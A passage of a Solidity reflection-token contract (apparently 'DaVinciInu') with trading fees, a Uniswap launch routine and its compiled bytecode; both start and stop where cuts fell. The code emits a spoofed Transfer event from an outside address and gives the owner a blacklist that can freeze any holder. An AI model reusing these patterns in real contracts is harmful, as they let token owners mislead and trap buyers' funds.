Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280601c81526020017f446156696e6369496e75207c20742e6d652f446156696e6369496e7500000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f446156696e6369496e7500000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b806